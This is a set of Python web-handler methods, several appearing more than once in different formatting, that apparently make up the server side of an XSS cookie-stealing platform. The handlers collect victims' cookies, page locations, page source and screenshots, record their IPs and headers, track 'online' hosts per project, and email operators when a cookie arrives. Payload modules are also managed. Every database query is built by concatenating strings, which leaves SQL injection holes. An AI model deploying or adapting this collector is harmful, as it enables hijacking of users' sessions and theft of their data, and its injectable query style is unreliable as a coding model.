def get(self): def getname(id): return urlde(db.ct("project","name","id="+id)['name']) month = time.strftime("%m", time.localtime(time.time())) tables = db.cts("host", "projectid,date_format(from_unixtime(addtime),'%%e') as day", "date_format(from_unixtime(addtime),'%%m')='"+month+"'") datatable = {} for table in tables: id = str(table['projectid']) if id not in datatable: datatable[id] = {} i = 1 while i <= 31: datatable[id][i] = 0 i += 1 else: datatable[id][int(table['day'])] += 1 x='' for data in datatable: for day in datatable[data]: x = x + '['+str(day)+', '+str(datatable[data][day])+'],' x = x[:-1] datatable[data] = x self.render( 'home.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[], url=URL, urlde=urlde, datatable=datatable, getname = getname, )
def get(self): def gethostn(hostip): return db.c("host", "hostip='"+hostip+"'") def getname(id): return urlde(db.ct("project", "name", "id="+str(id))['name']) rows = db.cts("host", "hostip", "online=1") row = [] for x in rows: row.append(db.ct("host", "*", "hostip='"+x['hostip']+"' order by id desc limit 1")) self.render( "online.html", heads=[ {'name':'Online', 'title':'', 'url':''}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, url=URL, timede=timede, urljson=urljson, getaddr=getaddr, row=row, getname=getname, gethostn=gethostn, )
def post(self, id, do): def getname(id): return urlde(db.ct("project", "name", "id="+str(id))['name']) hostip = self.request.headers['Remote-Ip'] information = self.get_argument('information', 'None') sourcecode = self.get_argument('code', 'None') screen = self.get_argument('screen', 'None') receive = self.get_argument('receive', 'None') if not information == 'None': addtime = int(time.time()) request = self.request.headers headers = { 'user-agent': urlen('user-agent' in request and request['user-agent'] or 'None'), 'Accept-Language': urlen('Accept-Language' in request and request['Accept-Language'] or 'None'), 'X-Forwarded-For': urlen('X-Forwarded-For' in request and request['X-Forwarded-For'] or 'None'), 'Referer': urlen('Referer' in request and request['Referer'] or 'None'), } headers = json.dumps(headers) db.i( 'host', 'hostip,information,headers,projectid,addtime', "'"+hostip+"','"+urlen(information)+"','"+headers+"','"+id+"','"+str(addtime)+"'") hosts = json.loads(db.ct('project', "hosts", "id="+id)['hosts']) hosts.append(hostip) db.u("project", "hosts='"+json.dumps(list(set(hosts)))+"'", "id="+id) emails = urlde(db.ct("project", "email", "id=" + id)['email']).split(";") information = json.loads(information) print information for email in emails: text = 'location : ' + information['location'] + "<p>" +"cookie : " + information['cookie'] sendmail(email,'The cookie is coming ['+hostip+']', '<h1>project: '+ getname(id) + "</h1><p>" + text) hostid = db.ct('host', 'id', "hostip='"+hostip+"' order by id desc limit 1")['id'] if not sourcecode == 'None': db.u('host', "sourcecode='"+urlen(sourcecode)+"'", 'id='+str(hostid)) if not screen == 'None': db.u('host', "screen='"+urlen(screen)+"'", 'id='+str(hostid)) if not receive == 'None': oldreceive = urlde(db.ct( 'host', 'receive', 'id='+str(hostid))['receive'] and db.ct('host', 'receive', 'id='+str(hostid))['receive'] or '') oldreceive = oldreceive and json.loads(oldreceive) or oldreceive if oldreceive: receive = json.loads(receive) for key in oldreceive: receive[key] = oldreceive[key] receive = json.dumps(receive) db.u('host', "receive='"+urlen(receive)+"'", 'id='+str(hostid)) x=db.cts("host", "*", "projectid=5") self.write(json.dumps(x))
def post(self, id, do): def getname(id): return urlde(db.ct("project", "name", "id="+str(id))['name']) hostip = self.request.remote_ip information = self.get_argument('information', 'None') sourcecode = self.get_argument('code', 'None') screen = self.get_argument('screen', 'None') receive = self.get_argument('receive', 'None') if not information == 'None': addtime = int(time.time()) request = self.request.headers headers = { 'user-agent': urlen('user-agent' in request and request['user-agent'] or 'None'), 'Accept-Language': urlen('Accept-Language' in request and request['Accept-Language'] or 'None'), 'X-Forwarded-For': urlen('X-Forwarded-For' in request and request['X-Forwarded-For'] or 'None'), 'Referer': urlen('Referer' in request and request['Referer'] or 'None'), } headers = json.dumps(headers) db.i( 'host', 'hostip,information,headers,projectid,addtime', "'"+hostip+"','"+urlen(information)+"','"+headers+"','"+id+"','"+str(addtime)+"'") hosts = json.loads(db.ct('project', "hosts", "id="+id)['hosts']) hosts.append(hostip) db.u("project", "hosts='"+json.dumps(list(set(hosts)))+"'", "id="+id) emails = urlde(db.ct("project", "email", "id=" + id)['email']).split(";") information = json.loads(information) print information for email in emails: text = 'location : ' + information['location'] + "<p>" +"cookie : " + information['cookie'] hostid = db.ct('host', 'id', "hostip='"+hostip+"' order by id desc limit 1")['id'] if not sourcecode == 'None': db.u('host', "sourcecode='"+urlen(sourcecode)+"'", 'id='+str(hostid)) if not screen == 'None': db.u('host', "screen='"+urlen(screen)+"'", 'id='+str(hostid)) if not receive == 'None': oldreceive = urlde(db.ct( 'host', 'receive', 'id='+str(hostid))['receive'] and db.ct('host', 'receive', 'id='+str(hostid))['receive'] or '') oldreceive = oldreceive and json.loads(oldreceive) or oldreceive if oldreceive: receive = json.loads(receive) for key in oldreceive: receive[key] = oldreceive[key] receive = json.dumps(receive) db.u('host', "receive='"+urlen(receive)+"'", 'id='+str(hostid)) x=db.cts("host", "*", "projectid=5") self.write(json.dumps(x))
def get(self, id, do): if id: row = db.ct("module", "*", "id="+id) if row: if do == 'del': db.d("module", "id="+id) self.redirect("http://"+URL+"/module") else: self.render( 'module_edit.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[ {'name':'Module', 'title':'Module list', 'url':'module/'}, {'name':urlde(row['name']), 'title': '', 'url': ''}, ], row=row, url=URL, urlde=urlde, ) else: self.render('404.html') else: if do == 'add': self.render( 'module_add.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[{'name':'Module', 'title':'Module list', 'url':'module/'},{'name':'Add', 'title':'', 'url':''}], url=URL, urlde=urlde, ) else: mrows = db.cts("module", "*", "1=1 order by id") modulen = len(mrows) self.render( "module.html", username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[{'name':'Module', 'title': '', 'url': ''}], url=URL, urlde=urlde, timede=timede, mrows=mrows, modulen=modulen, )
def get(self): def getname(id): return urlde(db.ct("project", "name", "id=" + id)['name']) month = time.strftime("%m", time.localtime(time.time())) tables = db.cts( "host", "projectid,date_format(from_unixtime(addtime),'%%e') as day", "date_format(from_unixtime(addtime),'%%m')='" + month + "'") datatable = {} for table in tables: id = str(table['projectid']) if id not in datatable: datatable[id] = {} i = 1 while i <= 31: datatable[id][i] = 0 i += 1 else: datatable[id][int(table['day'])] += 1 x = '' for data in datatable: for day in datatable[data]: x = x + '[' + str(day) + ', ' + str( datatable[data][day]) + '],' x = x[:-1] datatable[data] = x self.render( 'home.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[], url=URL, urlde=urlde, datatable=datatable, getname=getname, )
def get(self, id, do): def gethostn(hostip): return db.c("host", "hostip='" + hostip + "'") def getmcustom(code): code = urlde(code) s = re.findall("({set\..*})", code) return s if id: row = db.ct("project", "*", "id=" + id) if row: if do == "del": db.d("project", "id=" + id) self.redirect("http://" + URL + "/project") elif do == "edit": modules = db.cts("module", "*", "1=1") pmodules = json.loads(urlde(db.ct("project", "module", "id=" + id)["module"])) self.render( "project_edit.html", heads=[ {"name": "Project", "title": "Project list", "url": "project"}, {"name": urlde(row["name"]), "title": urlde(row["name"]) + "view", "url": "project/" + id}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, getmcustom=getmcustom, row=row, url=URL, modules=modules, pmodules=pmodules, ) else: x = [] hosts = [] hostlist = json.loads(db.ct("project", "hosts", "id=" + id)["hosts"]) hostn = 0 if hostlist: for i in hostlist: x.append( db.ct( "host", "id", "hostip='" + i + "' and projectid=" + id + " order by id desc limit 1" )["id"] ) x.sort(reverse=True) hostn = len(x) for i in x: hosts.append( db.ct("host", "hostip,information,online,addtime,projectid,id", "id=" + str(i)) ) self.render( "project_select.html", heads=[ {"name": "Project", "title": "Project list", "url": "project"}, {"name": urlde(row["name"]), "title": "", "url": ""}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, hostn=hostn, hosts=hosts, gethostn=gethostn, url=URL, timede=timede, urljson=urljson, getaddr=getaddr, ) else: self.render("404.html") else: if do == "add": modules = db.cts("module", "*", "1=1") self.render( "project_add.html", heads=[ {"name": "Project", "title": "Project list", "url": "project"}, {"name": "Add", "title": "", "url": ""}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, modules=modules, getmcustom=getmcustom, ) else: prows = db.cts("project", "*", "1=1 order by id") # 所有的project hrown = {} # host数目 hrowno = {} # host online 数目 if prows: for i in prows: hrown[i["id"]] = db.c("host", "projectid=" + str(i["id"])) hrowno[i["id"]] = db.c("host", "projectid=" + str(i["id"]) + " and online=1") self.render( "project.html", heads=[{"name": "Project", "title": "", "url": ""}], prows=prows, prown=len(prows), hrown=hrown, hrowno=hrowno, username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, timede=timede, )
def get(self, id, do): def gethostn(hostip): return db.c("host", "hostip='"+hostip+"'") def getmcustom(code): code = urlde(code) s = re.findall("({set\.[^}]*})", code) return s if id: row = db.ct("project", "*", "id="+id) if row: if do == 'del': db.d("project", "id="+id) self.redirect("http://"+URL+"/project") elif do == 'edit': modules = db.cts("module", "*", "1=1") pmodules = json.loads(urlde(db.ct("project", "module", "id="+id)['module'])) self.render( "project_edit.html", heads=[ {'name':'Project', 'title':'Project list', 'url':'project'}, {'name':urlde(row['name']), 'title':urlde(row['name']) + 'view', 'url':'project/'+id}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), urlde=urlde, getmcustom=getmcustom, row=row, url=URL, modules=modules, pmodules=pmodules, ) else: x = [] hosts = [] hostlist = json.loads(db.ct("project", "hosts", "id="+id)['hosts']) hostn = 0 if hostlist: for i in hostlist: x.append(db.ct( "host", "id", "hostip='"+i+"' and projectid="+id+" order by id desc limit 1")['id']) x.sort(reverse=True) hostn = len(x) for i in x: hosts.append(db.ct( "host", "hostip,information,online,addtime,projectid,id,addr", "id="+str(i))) self.render( "project_select.html", heads=[ {'name':'Project', 'title':'Project list', 'url':'project'}, {'name':urlde(row['name']), 'title':'', 'url':''}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), urlde=urlde, hostn=hostn, hosts=hosts, gethostn=gethostn, url=URL, timede=timede, urljson=urljson, getaddr=getaddr, ) else: self.render('404.html') else: if do == 'add': modules = db.cts("module", "*", "1=1") self.render( "project_add.html", heads=[ {'name': 'Project', 'title': 'Project list', 'url': 'project'}, {'name': 'Add', 'title': '', 'url': ''}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), url=URL, urlde=urlde, modules=modules, getmcustom=getmcustom, ) else: prows = db.cts("project", "*", "1=1 order by id") #所有的project hrown = {} #host数目 hrowno = {} #host online 数目 if prows: for i in prows: hrown[i['id']] = db.c("host", "projectid="+str(i['id'])) hrowno[i['id']] = db.c("host", "projectid="+str(i['id'])+" and online=1") self.render( "project.html", heads=[{'name': 'Project', 'title': '', 'url':''}], prows=prows, prown=len(prows), hrown=hrown, hrowno=hrowno, username=self.get_secure_cookie("username"), datainfo=db.datainfo(), url=URL, urlde=urlde, timede=timede, )
def get(self, id, do): def gethostn(hostip): return db.c("host", "hostip='" + hostip + "'") def getmcustom(code): code = urlde(code) s = re.findall("({set\..*})", code) return s if id: row = db.ct("project", "*", "id=" + id) if row: if do == 'del': db.d("project", "id=" + id) self.redirect("http://" + URL + "/project") elif do == 'edit': modules = db.cts("module", "*", "1=1") pmodules = json.loads( urlde( db.ct("project", "module", "id=" + id)['module'])) self.render( "project_edit.html", heads=[ { 'name': 'Project', 'title': 'Project list', 'url': 'project' }, { 'name': urlde(row['name']), 'title': urlde(row['name']) + 'view', 'url': 'project/' + id }, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, getmcustom=getmcustom, row=row, url=URL, modules=modules, pmodules=pmodules, ) else: x = [] hosts = [] hostlist = json.loads( db.ct("project", "hosts", "id=" + id)['hosts']) hostn = 0 if hostlist: for i in hostlist: x.append( db.ct( "host", "id", "hostip='" + i + "' and projectid=" + id + " order by id desc limit 1")['id']) x.sort(reverse=True) hostn = len(x) for i in x: hosts.append( db.ct( "host", "hostip,information,online,addtime,projectid,id", "id=" + str(i))) self.render( "project_select.html", heads=[ { 'name': 'Project', 'title': 'Project list', 'url': 'project' }, { 'name': urlde(row['name']), 'title': '', 'url': '' }, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, hostn=hostn, hosts=hosts, gethostn=gethostn, url=URL, timede=timede, urljson=urljson, getaddr=getaddr, ) else: self.render('404.html') else: if do == 'add': modules = db.cts("module", "*", "1=1") self.render( "project_add.html", heads=[ { 'name': 'Project', 'title': 'Project list', 'url': 'project' }, { 'name': 'Add', 'title': '', 'url': '' }, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, modules=modules, getmcustom=getmcustom, ) else: prows = db.cts("project", "*", "1=1 order by id") #所有的project hrown = {} #host数目 hrowno = {} #host online 数目 if prows: for i in prows: hrown[i['id']] = db.c("host", "projectid=" + str(i['id'])) hrowno[i['id']] = db.c( "host", "projectid=" + str(i['id']) + " and online=1") self.render( "project.html", heads=[{ 'name': 'Project', 'title': '', 'url': '' }], prows=prows, prown=len(prows), hrown=hrown, hrowno=hrowno, username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, timede=timede, )
def get(self, id, do): if id: row = db.ct("module", "*", "id=" + id) if row: if do == 'del': db.d("module", "id=" + id) self.redirect("http://" + URL + "/module") else: self.render( 'module_edit.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[ { 'name': 'Module', 'title': 'Module list', 'url': 'module/' }, { 'name': urlde(row['name']), 'title': '', 'url': '' }, ], row=row, url=URL, urlde=urlde, ) else: self.render('404.html') else: if do == 'add': self.render( 'module_add.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[{ 'name': 'Module', 'title': 'Module list', 'url': 'module/' }, { 'name': 'Add', 'title': '', 'url': '' }], url=URL, urlde=urlde, ) else: mrows = db.cts("module", "*", "1=1 order by id") modulen = len(mrows) self.render( "module.html", username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[{ 'name': 'Module', 'title': '', 'url': '' }], url=URL, urlde=urlde, timede=timede, mrows=mrows, modulen=modulen, )